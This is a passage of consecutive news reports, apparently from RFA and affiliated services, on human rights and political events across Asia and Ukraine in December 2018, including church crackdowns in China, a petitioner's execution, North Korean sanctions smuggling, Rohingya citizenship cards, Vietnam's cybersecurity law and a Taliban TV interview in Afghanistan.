Hebei said the "chengguan" urban management police in Langfang city had banned promotional activities in shops, as well as decorations and public performances. "There government has rules about this; you can't have anything like that on the streets," the church member said. "It's something to do with religious policies ... that religion should be more Chinese." Security had also been stepped up during the period, which isn't an official holiday in China, with police asked to work extra shifts, the church member said. "The government says these are necessary security measures in order to maintain law and order, the church member said. An officer who answered the phone at the Langfang urban management police confirmed the ban. "The authorities don't encourage ... our municipal government said nothing should be placed outside, because that affects the city, and there are potential safety hazards with the power supply to trees," the officer said. Rapid growth raises fears Ying Fuk-tsang, dean of the School of Theology at Chung Chi College, part of the Chinese University of Hong Kong, said the authorities are nervous at the rapid growth in the number of unofficial Protestant "house churches" in recent years. "They are really worried about the growth of Christianity, because it has been faster than many other religions in China," Ying told RFA. He said official figures published earlier this year showed a 60 percent rise in the number of Protestant believers since 2008. "This is a huge number of people, and house churches are growing fast, so the authorities have banned them," Ying said. "They are also targeting children of under 18, because they don't want them to start going to church." In Sichuan, CHRD counted a total of 24 people "detained or disappeared" during the Early Rain raids, 14 of whom were in criminal detention, three in administrative detention and seven missing, believed detained as of Dec. 20. It said the crackdown on the Early Rain church came amid an ongoing official campaign targeting independent churches following the newly amended Religious Affairs Regulations, and subsequent dissent from such churches over state control of religious practices. "Officials have required intrusive video surveillance equipment be installed in churches and church goer information be handed over, banned bible sales online, demolished churches, and suppressed a growing list of Christian communities," the group said. Early Rain pastors were among more than 100 Protestant pastors who complained about the new policies in a public statement in September, it said. The church's pastor Wang Yi, currently criminally detained on suspicion of "incitement to subvert state power," is a former Chengdu University professor, and has been outspoken in defense of religious freedom in China, including for Tibetans Buddhists and Muslims in Xinjiang, CHRD said. Wang Yi and his wife Jiang Rong founded the church in 2005 and have since faced relentless police harassment and intimidation, it said. Reported by Wong Siu-san, Lau Siu-fung, Sing Man and Wong Lok-to for RFA's Cantonese Service, and by the Mandarin Service. Translated and edited by Luisetta Mudie. Authorities in the central Chinese province of Henan have executed a petitioner for killing a police officer who was forcibly escorting him home from a petitioning trip in the Chinese capital. Veteran activist Xu Youchen, 58, was executed on Nov. 15 after the China Supreme Peoples Court approved his death sentence the month before, according to London-based rights group Amnesty International, which had campaigned for a reprieve. Xu and his wife Zhang Xiaoyu were initially both detained on suspicion of killing the police officer on July 17, 2014 as they were being escorted home from Beijing to prevent them from complaining about the local government. The couple were both formally charged with intentional homicide on Aug. 2, but Zhang's charges were later changed to "picking quarrels and stirring up trouble," for which she received a three-year jail term on Dec. 12, 2016. Xu was sentenced to death for the killing of a police officer on the same day by the Sanmenxia Intermediate People's Court in Henan. At his trial, he admitted intending to injure the police officer, and his lawyers said the court had failed to prove that he intended to kill the man. Rights groups have also cited procedural irregularities with the handling of the policeman's death. Appeal rejected Authorities cremated the body of the policeman allegedly killed by the couple just four days after he died, making it impossible to re-examine the exact time and cause of death, Amnesty International reported. But the Henan Provincial High People's Court rejected his appeal in December 2017, upholding the original verdict and sentence, Xu's lawyer told RFA. The Supreme Peoples Court was asked to review the case, and approved the death sentence on Oct. 8, Amnesty said in a statement on its website. "China is the worlds top executioner," the statement said. "Based on ongoing monitoring of developments in Chinas criminal justice system, Amnesty International believes that Chinas continues to execute thousands annually." It said the ruling Chinese Communist Party has stopped publishing its estimated execution figures, as data on the use of the death penalty is classified as a state secret. Slight revisions to the law to make executions less common have failed to bring China into line with requirements under international law requiring the death penalty to be restricted only to "the most serious crimes." Unconditional opposition "Amnesty International opposes the death penalty unconditionally, in all cases without exception, regardless of the nature or circumstances of the crime, the guilt, innocence or other characteristics of the individual, or the method used by the state to carry out the execution," the group said. "The death penalty violates the right to life, as recognized in the Universal Declaration of Human Rights, and is the ultimate cruel, inhuman and degrading punishment," it said. Xu's defense had been based on the argument that he hadn't intended to kill the police officer, and his lawyer said the charge of "intentional homicide" was unjustified. China's army of petitioners, who flood the ruling Chinese Communist Party's official complaints departments with more than 20,000 complaints daily across the country, frequently report being held in "black jails," beaten, or otherwise harassed, if they persist in a complaint beyond its initial rejection at a local level. They are often escorted home forcibly by "interceptors" sent by their local governments to prevent negative reports from reaching the ears of higher authorities. Reported by RFA's Mandarin and Cantonese Services. Translated and edited by Luisetta Mudie. David Maxwell (left), Robert Collins, Jung Pak, and Greg Scarlatoiu at a panel discussion on HRNK's report authored by Collins in Washington on Dec. 19. The Committee for Human Rights in North Korea (HRNK) has released a report that focuses on how human rights abuses affect ordinary people in North Korea, a bottom-up view that the author contrasts with a traditional top-down focus on the leaders and other state actors. Authored by North Korea expert Robert Collins, the report, Denied From the Start: Human Rights at the Local Level in North Korea, pays special attention to the ways in which the government of North Korea not only denies the rights of citizens, but also uses the citizens themselves to deny rights to each other. Most of the writings that our country does, our academics and our intelligence agencies and those overseas in the international community are all top-down oriented pieces of work, said Collins, at a panel discussion of the report in Washington Wednesday. There has been extremely little from the bottom up. How are Ma and Pa Kim facing an everyday denial from the local representatives of the party and the government within North Korea? That has not been discussed to any great length at all, Collins added. Collins says in the report that the government is able to accomplish ideological indoctrination on a scale so massive that no other society matches it in efficiency. With complete authority over the state, the KWP [Korean Workers Party] compels all North Koreans over the age of 14 to belong to a Party organization, without regard to profession, gender, level of education or locality, Collins wrote. Through these organizations, North Koreans are required to observe and report on each other, meaning the government in some ways has a presence in every social interaction, Collins says. Indoctrination starts at an early age. During the panel discussion, Collins explained how the hypothetical Ma and Pa Kims five-year-old son is subjected to schooling that reinforces loyalty and elevates the Kim regime to god-like status. Even their simple math problems, Three American enemy tanks come over the hill, and the glorious soldiers serving Kim Il Sung destroy two of them, how many American tanks are left? Thats the kind of lesson plan they have for it, Collins said. But it gets worse for the 13-year-old daughter. She now has to go participate in something thats called saenghwal chonghwa, said Collins, referring to weekly self-criticism meetings in which every citizen must individually confess their shortcomings on the loyalty front. The confessor must then hear additional criticism from other citizens, then form an action plan to compensate for those shortcomings. Everybody has to go through this. They start in school and it never ends. They could be my age at 69 and theyre still doing it, Collins explained. The report details this process further, showing that everyone, including elites must go through saenghwal chonghwa with their peers at local inminban (neighborhood watch units). The inminban is the lowest level of administrative organization in this strategy of social control, Collins writes. [It] serves to enforce the complete loyalty of every North Korean citizen to the Supreme Leader and the KWP. Potential applications Senior Fellow and SK-Korea Foundation Chair in Korea Studies Jung Pak of the Bookings Institution said the report details the organization of the local indoctrination networks, seeing possible uses of these networks in the event of conflict or for humanitarian purposes. Indoctrination at such a scale is necessary because Kim fears his people more than he fears the United States. The people are his most proximate threat to the regime, she said. David Maxwell, a senior fellow with the Foundation for Defense of Democracies and a HRNK board member said a report grasping the struggles of the people has application across every scenario, whether it is war, regime collapse, post-conflict, post-collapse, to businesses and to NGOs. Why is that? Its because the people in the North are the key to the future. They really are the center of gravity in any outcome on the peninsula, he said. Recommendations to the regime In the report, Collins notes that Kim Jong Un is primarily focused on boosting the economy of North Korea. However, in order for North Korea to develop economically and qualify for international, bilateral and multilateral assistance, it would need comprehensive and substantial economic, political and social reform, Collins wrote. To achieve this level of reform, Collins offered several recommendations. He first calls for the end of the songbun socio-political classification system by which every citizen is classified based on how loyal ones family has been to the regime through several generations. Collins says the political caste system is discriminatory. The regime applies this profiling to its personnel stationing, housing, education, occupational assignment, healthcare and food distribution policies as a means of social control, wrote Collins, adding that some can be denied the concept of opportunity due to being born into the wrong family. Collins also calls for the elimination of saenghwal chonghwa and a destruction of all data regarding negative information about individual citizens collected through the self-criticism sessions. He also recommended that the regime eliminate North Koreas doctrine of Ten Principles of Monolithic Ideology, a list of loyalty-reinforcing commandments that that every North Korean citizen must memorize and strive to live their lives by. Finally he recommended that the government allow unimpeded access to observers so they would be more able to assess the human rights situation. These recommendations are the fundamental requirements of reforms aimed at bringing North Korea into the 21st century, Collins wrote. Collins acknowledged that change in the human rights situation in North Korea would not occur without internal resistance because any potential advancements in human rights under the Kim Jong Un regime can only begin through concepts that are unimaginable today in the ruling circles of the KWP. Change would require that the regime implement a complete reversal of Party-based ideology that serves the Supreme Leader. North Korean trade with China has slowed because of restrictions imposed under international sanctions, but North Korean ore and minerals are being smuggled regularly across the border and banned seafood is still finding its way to Chinese markets, sources say. Meanwhile, lack of fuel keeps North Korean boats stranded at docks on the Yalu River, with other vessels moving under tow, while power shortages bring lights on in the North Korean border city of Sinuiju only late at night. To generate electricity, North Korea burns tens of thousands of tons of coal, but their facilities are very old, a North Korean trader working in the Chinese city of Dandong told reporters from RFAs Korean Service visiting the area in November. I have told South Korean business representatives that they dont need to ask where to invest in North Korea, the trader said, speaking on condition of anonymity. They just need to invest in power plants, he said. Observed across the border, the North Korean county of Chongsu appears asleep with no smoke seen coming from the chimneys of houses or a local chemical plant, even in the winter cold. Meanwhile, bicycles appear to be the main mode of transportation for people living in the area. Other residents can be seen pushing small handcarts through the streets. On Nov. 21, RFA reporters watch at least 10 Chinese cargo trucks prepare to clear customs in Dandong to enter Sinuiju, on the North Korean side of the Yalu River. A Chinese trader working in the area says that some of these will later smuggle North Korean minerals back into China. There is a North Korean man in Dandong who trades in iron ore, the man says, also speaking on condition he not be named. He makes really good money. Chinese dump trucks bring large quantities of iron ore in from North Korea, but we rarely hear anything about this. The smuggling is hard to detect, he says. Oil, seafood smuggled Meanwhile, North Korean trucks in Dandong stand ready to bring refined oil, restricted under sanctions imposed to punish North Korea for its illicit nuclear weapons and missile programs, back across the river into North Korea. Under sanctions, North Korea can import only 500,000 barrels of refined oil per year, Soo-ho Lima researcher at South Koreas Institute for National Security Strategytold RFA in an interview, adding, but Chinese customs cant block the smuggling of small amounts of oil into the North. China doesnt disclose its trade statistics, so it is difficult to check the details, he said. North Korean seafood, too, is openly sold in China, though banned for export under U.N. sanctions. Everything we have here is from North Korea. We have no Chinese seafood, a merchant at Dandongs Yellow Sea Seafood Market told RFA. All this is smuggled in ship-to-ship transfers in the Yellow Sea, with Chinese business partners paying for the seafood in Chinese currency or rice, sources say. In a clear violation of U.N. sanctions, clothing material and labels seen in Dandong by RFA are also being sent across the border into North Korea for processing by low-paid workers before being brought back into China for sale. 'Handling the police' North Korean art, too, is openly sold in China, with pieces selling for prices ranging from 3,500 Chinese yuan (U.S. $507) to as much as 10,000 yuan (U.S. $1,451), RFA has learned. Some artists bring their work in from North Korea, while others work locally in Dandong, a fine-art broker working in the city said. They have a big house here that they use as a studio, the broker said. Sometimes it takes a month to finish a piece, while sometimes they work on one piece and then work on a second piece while they wait for the first piece to dry. This way, they can work on many pieces at a time. Letters between North Korea and the broker seen by RFA ask the broker to provide accommodation for its artists, believed to be members of North Koreas state-run Mansudae Art Studio. In one letter, North Korea asks the broker for his help in handling the Chinese police. For those making a living from cross-border trade between North Korea and China, there are still ways to survive, one North Korean trader working in Dandong told RFA. Even with sanctions getting tougher, there are ways to adjust to the situation. Its just like people who live in hot weather getting used to higher temperatures. People just live their lives, he said. Reported by Yongjae Mok and Hyemin Son for RFAs Korean Service. Translated by Leejin Jun. Written in English by Richard Finney. Thein Swe, Myanmar's minister of labor, immigration, and population, speaks to an RFA reporter at the parliament building in Naypyidaw, Dec. 19, 2018. Fewer than two dozen of some 3,300 National Registration Cards that Myanmar officials issued to ethnic Kaman residents of a village tract in Rakhine states Ramree township were erroneously given to Rohingya Muslims, the countrys immigration minister said Wednesday in response to a complaint by a Kaman political party. During a discussion on the NRCs at a session of the lower house of the national parliament, Minister Thein Swe said that an investigation by immigration officials indicated that 21 of the 3,306 NRCs issued to residents of Kyauk Ni Maw village this year were mistakenly issued to non-Kamans. We reviewed these people and the reasons for issuing them NRCs [and] found that all except for 21 people from nine households have sufficient information and documents to be issued NRCs, Thein Swe said. The parliamentary meeting on the NRCs came at the request of Aung Thaung Shwe, an ethnic Rakhine lawmaker who represents Rakhine states Buthidaung constituency, who asked legislators to discuss the alleged issuance of the cards to Rohingya in the village tract between December 2017 and August 2018. The investigation by immigration officials was launched in September after the Kaman National Progressive Party [KNPP] filed a complaint with the offices of President Win Myint and State Counselor Aung San Suu Kyi that NRCs had been inappropriately issued to Rohingya Muslims in Ramree township. The KNPP said earlier that though there are about 200 of a total 7,000 Muslims in Kyauk Ni Maw village tract who are authentic Kaman based on voter records from the 2015 general elections, more than 3,300 villagers have IDs listing them as Kaman. NRCs, also known as pink cards, grant full citizenship rights to those to whom they are issued in line with Myanmars 1982 Citizenship Law. Immigration officials investigate Thein Swe said in September that immigration officials would look into allegations that more than 3,000 Rohingya in in southern Rakhine states Ramree township had been erroneously issued NRCs that identified them as ethnic Kaman. That same month, the Rakhine state parliament urged the Union Government of Myanmar to suspend the ID card process for Rohingya Muslims in the multiethnic state, arguing that state officials have been falsely registering them as members of the ethnic Kaman group. The Rohingya are considered illegal immigrants from Bangladesh and are not listed as one of Myanmars 135 official ethnic groups, whereas the predominantly Muslim Kamans are an official ethnic minority. The Rohingya can obtain National Verification Cards, documents that are a part of the governments effort to register members of the minority group, though they do not confer citizenship. Ethnic Rakhine locals and Rakhine political parties, however, contend that most of the 3,306 who obtained NRCs are Bengalis, a derogatory term for the Rohingya used in Buddhist-majority Myanmar, and have rejected the issuance of the cards to them. The immigration minister admitted that 21 people were issued NRCs mistakenly and that officials will take action against those who are responsible, said Aung Thaung Shwe, a member of the Arakan National Party (ANP), which represents the interests of ethnic Rakhine people who live in the state. These Bengalis can become not only citizens, but also ethnics [officially recognized by Myanmar], he said. Both Rakhines and Kamans have rejected this. They have a responsibility to ensure that those who shouldnt become citizens dont become citizens, as it is not only a citizenship issue, but also an ethnic issue. If they [the Rohingya] become Kaman, it means they become ethnics, he said. We are worried very much about this. Thats why I raised the issue at the parliamentary session. About 45,000 ethnic Kaman Muslims live in Myanmar, mostly in Rakhine states Thandwe, Kyaukphyu, Ramree, Sittwe, and Myebon townships in Rakhine, as well as in the towns of Yangon and Mandalay, according to the online journal The Irrawaddy. Rohingya in Bangladesh During a break in the discussions, Thein Swe said that about 22,000 Rohingya refugees in Bangladesh have registered to return to Myanmar under a 13-month-old repatriation agreement by the two countries that has yet to get underway. Government officials have been checking those whose names appear on a list provided by Bangladesh, and the Ministry of Foreign Affairs will inform Dhaka about how many it has verified as eligible for return, he said. More than 725,000 Rohingya fled from northern Rakhine state to Bangladesh during a brutal military crackdown that began in August 2017. Reported by Win Ko Ko Latt for RFAs Myanmar Service. Translated by Khet Mar. Written in English by Roseanne Gerin. Rohingya Muslims watch Myanmar police, who are providing security following nearby unrest, in Shwe Zarr village near Maungdaw township in western Myanmar's Rakhine state, Sept. 6, 2017. Myanmar forces are conducting new clearance operations in violence-wracked northern Rakhine state following two separate attacks on ethnic Rakhine Buddhists, while ongoing fighting between an ethnic armed group and government troops continues to drive hundreds of villagers from their homes in other areas. Security forces are conducting the operations along Pyu Ma creek after six unidentified men attacked and abducted two ethnic Maramagyi men from Kyein Chaung (Middle) village in northern Rakhine Maungdaw district as they were fishing on Monday evening, Myanmars Commander-in-Chiefs Office said in an online statement issued Thursday. The six men who spoke Bengali and arrived by boat took the pair to the creeks west bank and attacked them. Maung Tha Hla, who sustained five knife wounds, and Saw Tun Oo, who was covered in bruises, managed to escape to Upper Pyu Ma, a Rakhine village on the opposite bank of the creek, the statement said. As the village administrator and several residents arrived to help them, the attackers fled along the creek to the Nat River, it said. In a separate case, two ethnic Rakhine men were found dead with their throats slashed on the bank of Pyu Ma creek less than 5,000 feet from the north of Upper Pyu Ma, an ethnic Rakhine village, after they went fishing on Monday evening. When the two men Maung Tun Aye from Upper Pyu Ma village in Maungdaw township and Maung Maung Than from Ohn Chaung village in Rathedaung township did not return, security forces, village administrators, and residents searched for them and found them dead, the statement said. And on Dec. 16, a teenage girl from Maungdaws Thit Taw village was found dead with her throat slit about two miles away after she went missing the previous day while tending cattle, the online journal The Irrawaddy reported. Local residents said the Myanmar Army appointed more border guards to the area following the incidents, but half the villagers from Pyu Ma have fled out of fear for their safety following the killings. Residents are fearful because the slayings occurred less than a mile from the community, said San Win, a Nga Khu Ya village resident who attended the funeral of the two murdered men on Thursday. 'Waiting to do this' Maungdaw district, where Nga Khu Ya village is located, was at the epicenter of a brutal crackdown also referred to as clearance operations by the military on Rohingya communities following deadly attacks on police outposts by a Muslim militant group in August 2017. The village was burned down during the campaign of violence in northern Rakhine, which included indiscriminate killings, torture, rape, and arson, and drove more than 725,000 Rohingya across the border to Bangladesh. The Myanmar government has denied its troops were responsible for atrocities committed against the Rohingya, despite extensive reports and evidence to the contrary that have led the United Nations, rights groups, and other nations to say the campaign amounted to ethnic cleansing, genocidal intent, or genocide itself. There is a Muslim village on the other side of Pyu Ma Creek, San Win told RFA's Myanmar Service. People are saying that Muslims from this village have been waiting for chance to do this, and that they did it when they had the chance. The villagers are frightened because they can come into the village anytime, he added. Only a few people from two or three houses still live here, and they said they are going to leave, too. Ethnics must be very careful Kyaw Win, a villager from Long Ton village adjacent to Pyu Ma village, said ethnic Rakhine residents are often killed by Muslims in the region. We have border guards in the region, but not enough to take care of every village, he told RFA. There are no security guards in Pyu Ma village. Tun Hla Sein, a lawmaker who represents Maungdaw township constituency in the lower house of the national parliament, said most villages, but not all, have security guards to help ensure security. Local ethnics have to be very careful, he said. When the refugees return from Bangladesh, there will be some who want to live peacefully in Rakhine, but there might also be some who will try to create problems in the region. We have to live together with them because we lived together with them before, but we have to be careful, he said. Myanmar and Bangladesh signed an agreement 13 months ago to repatriate Rohingya refugees who want to return voluntarily to Myanmar and who are verified as eligible to return, though the program has yet to begin. Fighting displaces more villagers Meanwhile, fighting between the Arakan Army (AA) and the Myanmar military has prompted more than 400 villagers from Rakhines Kyauktaw township to flee to safety, local residents said. They are now staying temporarily in the townships Kan Saut, Thalu Chaung, and Ngazinyine Khing villages, they said. They have been fleeing since Dec. 18 when the government army began attacking the AA with heavy weapons. Maung Thein Sein, a lawmaker from Kyauktaw township, told RFA that the two sides engaged in fighting in Twin Pyannya village on Thursday. Representatives from the Arakan National Party (ANP), which represents the interests of ethnic Rakhine people in the state, are providing rice to the displaced villagers, Kan Saut, the head of Thinkha Kyaw village, told RFA. The ANP has requested that Kyauktaw townships administrator provide the displaced residents with emergency assistance, he said. Reported by Tin Aung Khine and Min Thein Aung for RFAs Myanmar Service. Translated by Khet Mar. Written in English by Roseanne Gerin. China's Premier Li Keqiang (R) walks next to Indonesia's President Joko Widodo (L) as they review presidential guards at the presidential palace in Bogor on May 7, 2018. Calls are growing in Indonesia the worlds largest Islamic majority country for its government to speak out against Chinas treatment of minority Muslims, amid reports that 1 million ethnic Uyghurs in Xinjiang province have been sent to re-education camps. Parliamentary leaders, Islamic officials and rights activists on Thursday lent their voices to calls for increased pressure on China to address the allegations of human rights violations. The DPR (House of Representatives) calls on the government to send a strong message to the Chinese ambassador, House Speaker Bambang Soesatyo told reporters. We urge the government, in this case the Ministry of Foreign Affairs, to support the efforts of the United Nations in solving the issue and freeing Muslims there. Indonesia should take the lead in speaking out for the Uyghur minority in China, Deputy House Speaker Fadli Zon said. Even though Indonesia is the fourth-most populous country, with the largest number of Muslims in the world, our foreign policy under Mr. Jokowi has a very low profile, Fadli said, referring to President Joko Jokowi Widodo. China rejected allegations raised in August by a U.N. panel that the Uyghurs were being held in what resembled a massive internment camp in the Xinjiang region where Beijing has spent decades trying to suppress pro-independence sentiment. On Monday, the Indonesian Foreign Ministry summoned the deputy Chinese ambassador in Jakarta to seek clarification on the issue. Foreign Ministry spokesman Arrmanatha Nasir said the ambassador stated that China was committed to respecting the Uyghurs. Theres willingness on the part of the Chinese embassy to expand communication with various civil society groups to inform them about the situation regarding the Uyghur community in China, Arrmanatha told reporters. Al Chaidar, a terrorism analyst at Malikussaleh University in Aceh province, said members of the banned Indonesian militant group Jamaah Ansharut Daulah (JAD), were promoting solidarity among their followers with Uyghur Muslims in China and Rohingya Muslims in Myanmar. Their members often call for jihad to those countries, he told BenarNews, an RFA-affiliated online news service. On Thursday, Chinas embassy issued a statement on its website insisting that Uyghurs enjoyed freedom of religion. The statement said authorities in Xinjiang had established professional vocational training institutions that provided education and training on Chinas common language, legal system and vocational skills to lure Uyghurs from radicalism and extremism. Drawing on the anti-terrorism experience of the international community, China has taken a series of de-radicalization measures. In some places, certain residents there have a limited command of the countrys common language and a limited sense or knowledge of the law, the statement said. Muslim leader speaks Anwar Abbas, the secretary general of the Indonesian Council of Ulema the nations leading group of Muslim scholars said Indonesia should leverage good relations with China to speak about the Uyghurs. The Indonesian government should ask China about the problems, are they religious or ethnic issues? Abbas said. Meanwhile, Vice President Jusuf Kalla said Indonesians should understand that China was having a difficult time treading between respecting human rights and fighting extremism. If there is religious discrimination, its a violation of human rights, he told reporters. We should understand, theres a problem of radicalism (among Uyghur Muslims). It has even spilled over to Indonesia, he said, referring to the alleged involvement of some Uyghurs in Indonesian militant groups. Previously, Kalla said Chinas treatment of Uyghurs was a domestic problem and Indonesia should not interfere. In September, Amnesty International said China engaged in systematic repression in the Xinjiang Uyghur Autonomous Region involving mass internment, intrusive surveillance, political indoctrination and forced cultural assimilation against Uyghurs, Kazakhs and other predominantly Muslim ethnic groups. Reported by BenarNews, an RFA-affiliated online news service. Vietnamese police watch protesters during a demonstration near Hoan Kiem Lake in the capital Hanoi, June 10, 2018. Vietnamese government authorities in Hanoi on Wednesday raided a gathering of registered NGOs and abruptly shut down their annual civil society workshop, drawing condemnation from an international rights group which called it an alarming step-up of the authorities repression of civil society. Eight civil society groups from the health, public administration, and human rights sectors organized the two-day event which focused on the role of civil society groups in advising and engaging with the government on solutions to social issues. After the meeting began, a blackout occurred in the auditorium while Gianh Hoang Dang, deputy director of Vietnams Center for Community Development Studies, was giving a presentation on the role of social organizations in ensuring access to public services, some attendees said. Local police entered the hotel where the event was being held and ordered organizers to shut it down, accusing them of violating a wartime decree from 1957, which stipulates that those who arrange a gathering of more than five people in a public place must inform local authorities of their meeting 24 hours in advance. Gianh, who researches civil society organizations, later said he did not want to comment on the event cancellation, but he pointed RFAs Vietnamese Service to his comments on Facebook. State governance is a math problem that any country, even the U.S., China, Cuba, or Japan, has to solve, he wrote. However, yesterday a workshop to discuss these topics held by eight nonprofit, nongovernmental organizations in various fields (health, governance and public administrative reform, human rights, gender, and community development) was cancelled by the local district Peoples Committee, Gianh wrote. RFA could not reach another participant, Nguyen Duc Thanh, president of Vietnams Institute for Economic and Policy Research, for comment. Absurd and shocking crackdown London-based Amnesty International took Hanoi authorities to task for their actions. This is an absurd and shocking crackdown on a well-established, peaceful event, Minar Pimple, Amnestys senior director for global operations, said in a statement. To use an arcane wartime decree about holding events in public spaces to stop a private gathering at a hotel is clearly unjustified and cynical, he said. Pimple also noted that shutting down the event violated both international law and Vietnams constitution, which guarantees the rights to freedom of assembly and association. The authorities must allow this vital gathering of respected grassroots groups to go ahead and put an end to this worsening crackdown on civil society groups, he said. HRW criticizes cyber security law On Thursday, meanwhile, New York-based Human Rights Watch (HRW) took aim at Vietnams new cybersecurity law, which comes into force on Jan. 1, saying it will seriously undermine rights and called on the country to revise the legislation to bring it into line with international law. Vietnam's National Assembly adopted the 43-article Law on Cybersecurity in June 2018, which tightens control of the internet and global tech companies operating in the communist country by requiring service providers to store data locally, verify user information, and disclose user data to authorities without a court order. The law will also further restrict citizens use of the internet and require companies like Google and Facebook to delete posts considered threatening to national security. In early November, the Ministry of Public Security, which will enforce the law along with the Ministry of Information and Communications, issued a draft decree with detailed instructions for carrying out the law with two months allotted for public feedback. This cybersecurity law is designed to further enable the Ministry of Public Securitys pervasive surveillance to spot critics, and to deepen the Communist Partys monopoly on power, Phil Robertson, HRWs deputy Asia director, said in a statement. If this law is enacted, anyone who uses the internet in Vietnam will have zero privacy, he said. 'Direct defiance' Opponents both inside and outside the country have said that the law could cause economic harm and stifle online dissent. Thousands of Vietnamese protesters took to the streets in rare demonstrations in several cities in June to protest the draft Law on Cybersecurity and government plans to grant long-term leases for foreign companies operating in special economic zones, prompting crackdowns by police who assaulted and arrested them. Nearly 130 people were convicted for participating in protests as of November, receiving sentences of up to five years in prison, HRW said. Within four months after the law was passed, almost 70,000 people had signed an online petition to urge the government to postpone the legislation and revise it, HRW said. In a September letter to Federica Mogherini, European high representative for foreign affairs and security policy, and Cecilia Malmstrom, European Union commissioner for trade, some members of the European parliament said Vietnam should revise the law and bring it into compliance with international human rights standards, including the International Covenant on Civil and Political Rights to which the country is a party. Vietnams Law on Cybersecurity and the accompanying decree trample on individual privacy in direct defiance of Hanois promises to the European Union to respect rights, Robertson said. He called on EU member states to postpone any vote on a free trade agreement with Vietnam until the country revises the law and demonstrates improvements to its "abysmal" human rights record. Reported by RFAs Vietnam Service. Translated by Gia Minh. Written in English by Roseanne Gerin. BISHKEK Several dozen activists have demonstrated in front of the Chinese Embassy in Kyrgyzstans capital, Bishkek, to denounce the "persecution" of the indigenous communities in Chinas northwestern region of Xinjiang, including ethnic Kyrgyz, Kazakhs, and Uyghurs. Holding placards reading "No to Chinese fascism!" and "People of the world against evil!" the protesters on December 20 called on Chinas authorities to provide information about each ethnic Kyrgyz who they say are incarcerated in reeducation camps in Xinjiang. The demonstrators also urged Kyrgyzstan to deport within 30 days all foreign citizens, including Chinese nationals, illegally residing in Kyrgyzstan. The rally was organized by Kyrgyz Choroloru (Kyrgyz Knights), a nongovernmental organization that promotes Kyrgyz language and culture. In late November, a group called the Committee to Protect Kyrgyz People in China was created in Bishkek by ethnic Kyrgyz and other activists from western China. The group says there are many cases in which Chinese authorities have detained ethnic Kyrgyz whove remained in Xinjiang or visited the region after moving to Kyrgyzstan. It says those people have been held incommunicado at so-called reeducation camps in western China for months or even years. In neighboring Kazakhstan, there also have been several protests in recent months about the situation in western China by ethnic Kazakhs who have left Xinjiang. After Kazakhstan and Kyrgyzstan gained independence following the collapse of the Soviet Union in 1991, many ethnic Kazakhs and Kyrgyz from Xinjiang resettled in the two Central Asian nations, taking advantage of state resettlement programs. The UN said in August that an estimated 1 million Muslims from Xinjiang, mainly Uyghurs, were being held in "counterextremism centers" in China. The UN also said millions more have been forced into reeducation camps. China denies that the facilities are internment camps. Uyghurs are the largest indigenous community in Xinjiang, followed by Kazakhs, and the region is also home to ethnic Kyrgyz, Tajiks, and Hui, also known as Dungans. Han, China's largest ethnicity, are the second-largest community in Xinjiang. KYIV A fight broke out in Ukraines parliament as deputies from the Opposition Bloc removed a poster calling for the prosecution of a Ukrainian politician who has ties to Russian President Vladimir Putin. The speaker of the Verkhovna Rada, Andriy Parubiy, announced a break on December 20 after members of the Peoples Front party and the Opposition Bloc exchanged blows. The brawl started after Nestor Shufrych of the Opposition Bloc removed a poster from the podium saying that Putin's agent [Viktor] Medvedchuk must face trial!" After that, deputies of the Peoples Front assaulted Shufrych and his supporters, and the poster was reattached to the podium. The incident occurred during a parliamentary discussion of a bill on changing the name of the Ukrainian Orthodox Church of the Moscow Patriarchate. Medvedchuk heads Ukrainian Choice, an organization that many in Ukraine consider to be pro-Kremlin. He has played a behind-the-scenes role in exchanges of captives between Kyiv and Russia-backed separatists in eastern Ukraine. Three years ago, the Taliban branded two of Afghanistan's largest private television networks "intelligence outfits" and declared their employees legitimate targets due to their alleged "disrespectful and hostile actions" against the militant group. Months later, in January 2016, a Taliban suicide bomber attacked a minibus and killed seven employees of Tolo TV, one of the networks that was threatened. On December 19, the other television network, 1TV, conducted a live telephone interview with the Talibans main spokesman, Zabilullah Mujahid, about the three-day talks between U.S. officials and Taliban representatives in the United Arab Emirates, part of the effort to negotiate an end to Afghanistan's 17-year war. While the Taliban spokesman did not say anything new or particularly inflammatory, 1TVs interview -- described by critics as softball -- has stoked controversy, with many Afghans accusing the network of providing the Taliban with a platform to spread its propaganda. Many Afghans also said the one-sided interview dishonored the victims of the Taliban, which is waging a deadly 17-year insurgency in which it has been blamed for killing thousands of civilians. 'Great Insult' During the 12-minute interview, Mujahid said talks with U.S. officials in Abu Dhabi focused on ending what he called the foreign "occupation" and the alleged "atrocities" and "bombardments" committed against Afghan civilians by international forces. Mujahid called the Western-backed Kabul government "illegitimate" and said it was propped up by foreigners. He said the Taliban does not target civilians, although he acknowledged that civilians had been "unintentionally" caught up in Taliban attacks against the government. Farzad Lami, an Afghan journalist, said on Twitter on December 19 that "giving a voice to the Taliban on national TV is a disgrace," adding that 1TV had lost its "credibility." Habibullah Sakhizada, a Kabul resident, wrote on Facebook that "conducting a live interview with him is a great insult to the Taliban's victims and the country's security forces, adding that the countrys independent media needed to act "responsibly." Facebook user Mehran Arian said the interview was "against our national interests," and that 1TV executives should be "punished for treason." Economist Rafi Fazil wrote on Twitter that giving the Taliban a prime-time TV slot "raises serious questions and is an insult to the victims of Taliban violence and our fallen heroes." "In Afghanistan, on the one hand, we misunderstand or under-understand the Taliban; on the other, mainstreaming their views through the media has clear downsides," said Ahmad Shuja Jamal, an Afghan analyst who researches security and human rights issues, on Twitter. Others defended the interview as free speech. "As many politically charged condemnations are directed at 1TV for their interview with a Taliban spokesman, journalists must stand strong in defense of press freedom," Akmal Dawi, an Afghan journalist working at Voice of America, wrote on Twitter on December 19. Women's rights activist Wazhma Frogh said on Twitter that while she understood the criticism directed at 1TV, she said it was important for Afghans to talk and listen, while free speech should be allowed irrespective of who they are. Deadliest Country For Journalists 1TV was launched in 2009 by Afghan entrepreneur Fahim Hashimy. Its part of a flourishing media scene that has been hailed as one of the biggest achievements of the past 17 years, coming after the Taliban had banned all forms of music and television, as well as independently reported news. Under the Taliban regime, there was only state-owned radio, the Taliban's Voice of Shari'a, which was dominated by calls to prayer and religious teachings. Despite the gains, independent media have come under constant attack and pressure from militant groups and even the government itself. The Committee to Protect Journalists said in its annual report released on December 19 that Afghanistan was the deadliest country for journalists worldwide in 2018, with at least 15 reporters and media workers killed this year, the most since the CPJ began keeping track. "In recent years, extremists have launched major bombings in Afghanistan, then detonated a second blast with the apparent express aim of killing journalists and other first responders," the New York-based media watchdogs report said. In April, a double suicide attack claimed by the Islamic State (IS) extremist group killed nine journalists, including a 1TV 